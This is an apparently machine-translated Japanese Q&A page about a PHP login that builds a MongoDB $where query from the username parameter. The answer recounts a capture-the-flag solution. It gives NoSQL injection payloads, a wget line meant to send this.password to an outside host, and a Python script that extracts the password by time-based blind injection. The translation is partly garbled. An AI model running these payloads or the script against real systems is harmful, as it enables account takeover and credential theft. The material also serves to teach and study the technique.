2016-10-24 4 views
0

私はこのようなMongoDBのクエリがあります。ブラインドmongodb serverside注射?

$cur = $db->users->findOne(array('$where' => "this.username == '$username'")); 

をし、私はこのようなパスワードのセキュリティをチェック:

if($cur == NULL) { // Login not successful 
    $errors[] = "Invalid user."; 
    } else if($cur['password'] != $password) { // Login not successful 
    $errors[] = "Invalid password."; 
    } else { // Login successful 
    $user = $cur; 
    } 

にGETを使用している場合はJavaScriptインジェクションサーバー側にその脆弱た場合、私は考えていました$usernameの値を受け取ります。

私は少しを調査し、それがこのようなものを使用可能であることを発見しました:

?username=admin';tojsononeline(this.password) OR 
?username=admin’;[injected code]var foo=’bar 

username GETパラメータの内側に入れ、注射コードを使用してパスワードの値を取得するために何らかの方法はありますか?

答えて

2

私はこれが8ヶ月遅れていることを知っていますが、私が仲間のハッカーを助けることを期待して、私は先に進んで答えます。

まず、あなたが働いていることを正確に知っていると言いたいと思います。それは楽しいチャレンジでした。私は古典的なSQLインジェクションを経験していますが、これらの課題に取り組むまでNoSQLに晒されていません。

答えはブラインドSQLインジェクションです。 Er .... ブラインドNoSQL注射。あなたがこれらについて知らないなら、私があなたのために楽しいことを忘れる前に少し研究をしてください。

標準のSQLインジェクションを使用すると、/ etc/updateを挿入/更新/削除することができます。あなたが注射していたものであれ、何らかの種類のデータベースエラーや結果を見ることができるようになりました。それはページに吐き出され、あなたはハッピーハッカーになるでしょう。

ブラインドSQLインジェクションでは、その贅沢は得られません。確かに、意図したより多くのレコードを選択することができるかもしれませんが、実際の結果が返されることはありません。これはあなたの特定の問題で起こっていることです。データはページに表示されませんが、は一部のログインロジックで使用されるです。

パスワードが何であるかを判断するにはどうすればよいですか?短い答え:できません。

しかし、私たちのクエリでは手間がかかっても、私たちが望むものを得るためにサイドチャネルを使うことができるかもしれません。たとえば、2番目の例では、いくつかのコードを注入でき、それがMongoDB接続で実行されるとします。 (もう一度、私はここで適切な用語を知らない)まあ、どのようなコードですか?すべての合法的なJavaScript?ニフティ。 MongoDBインスタンスはどのような種類のJavaScriptを利用できますか?

この挑戦で有効なJSを実行することができたら、「おそらくMongoDBの「実行」機能でリモートコマンドが実行されている可能性があります」と思いました。残念ながら、私はそれを実行できませんでした。私がそれをやり遂げることができたなら、私はrun('wget', 'http://example.com:1337/'+this.password)をやることができます。これは、リソースを抽出したいパスワードであるという単純な要求をする必要があります。しかし何らかの理由で(ハッカーが実際にを中断するを破ることができないことを確認して)、私はそれを行うことができませんでした。

は、だから私は実行コードが、私は単純なコールを作るとパスワードを取得することはできません。くそー。私に何ができる?

「this.password」変数はまったく同じように使用できます。私は実際に余分な接続を作ることはできません。おそらく私はその変数をピース単位で照会し、それらのピースの値に基づいて目立つ何かを行うことができます。

私は今あなたが盲目のSQLインジェクションについて読んだことを信じています。あなたがしていない場合は、私が話していることを理解することができるように、それを読んでください、楽しみの自分自身をカンニングしないでください。 ;)

ブラインドSQLインジェクションでは、ブール型質問をすることができます。たとえば、「パスワードの最初の文字が「a」ならば、何かしてください」と言うことができます。場合によっては、あなたが攻撃しているページに「はい」または「いいえ」を表示することもできますが、それに賭けることはできません。通常はになります。は、我々のサイドチャネルは応答時間です

私はまずパスワードの長さを調べました。幸いにも、すべてのJavaScript文字列

if(this.password.length==1){sleep(10000);} 

が...サイトがある限り、その条件が真であるとして、応答するために永久に取るようになります....オブジェクトがあり、それらは、のようなので、何かlengthプロパティを持っている(ヒント:それはアインt 1文字)これは素晴らしい指標でした。

私は長さを計算したら、その長さに基づいて野生の前提を作りました。あまりにも多くの跳躍ではなく、うまくいきました。だから私はそれが飛躍のためにはるかに遠いとは思っていません。とにかく、それは32文字の長さです...他に何が32文字の長さですか?ハッシュ。これは、私が引っ張っている何らかの種類のハッシュでなければならず、pokemonなどのパスワードを推測するのは簡単ではありません。 (注:質問に表示されたコードは、入力値を最初にハッシュしません。ユーザーが指定したものを使用します)。チャレンジ作成者は実際にパスワードをハッシュしません[プレーンテキストで保存します。パスワードを推測するのが難しく、保存されていないパスワードにするため)。

これを念頭に置いて、私のキャラクターセットを絞り込むことができました。 32文字のパスワードの各バイトに対して255のASCII値をすべて試すのではなく、ちょうど試して[a-f0-9]を推測することができました。

だから今は

if(this.password[0]=="a"){sleep(100000); 

...のような質問をするだろう...と、最初の文字が「A」であった場合、それは私に言うだろう。

この方法で続行すれば、数分以内にパスワードを取得できます。私はこれを手動で行うことは苦労していると言うだろう。だからこそ私たちのハッカーたちはコーダーでなければなりません。

私はそれが楽しいことを忘れて答えを譲り渡すことは知っていますが、私はこれについて私のコードを譲り渡しても、私はルールを破っているとは思わない。

#!/usr/bin/env python 

from urllib import request as ureq 
import socket, time 

charset = "abcdef" 
pass_len = 32 
answer = "" 

url_template = '''http://example.com/?action=login&username=blahblah%27;if(*****QUESTION*****){{sleep(4000);}}%20var%20foo=%27bar&pasword=blahblah''' 

while len(answer) < pass_len: 
    for c in charset: 
     try: 
      #print('''Sending: {}'''.format(url_template.format(len(answer), c))) 
      ureq.urlopen(url_template.format(len(answer), c), timeout=2) 
     except socket.timeout: 
      answer += c 
      time.sleep(3) 
      print('''\033[92m[+]\033[0m Got another char, '\033[31m{}\033[0m'! Current pass: \033[31m{}\033[0m'''.format(c, answer)) 
      break 

print('''\033[92m[!]\033[0m Final answer: \033[31m{}\033[0m'''.format(answer)) 

(編集:もののすべてのその愚かな「\ 033 [92メートル」の並べ替えができるようにちょうどターミナルエスケープシーケンスであることを知ってくださいそう前置き、私は....あなたblind.pyを与えますあなたの端末の出力をカラーコードにしています。私は自分のカラースキームで見た目の良い色を選んだだけです。文字列のテンプレートを台無しにしない限り、それらは必要ではなく、安全に削除できます。テンプレートの仕組みに関する詳細情報)

ここでは、これをコピーして貼り付けて実行することはできません。それは動作しません。いくつかのこと(ドメインと質問)を変更する必要があります。しかし、少し考えてみたら、自動化されたスクリプトをコーディングする時間を節約できました。

ハッピーハッキング。

関連読書

https://dl.packetstormsecurity.net/papers/general/timebased-nosql.txt

https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf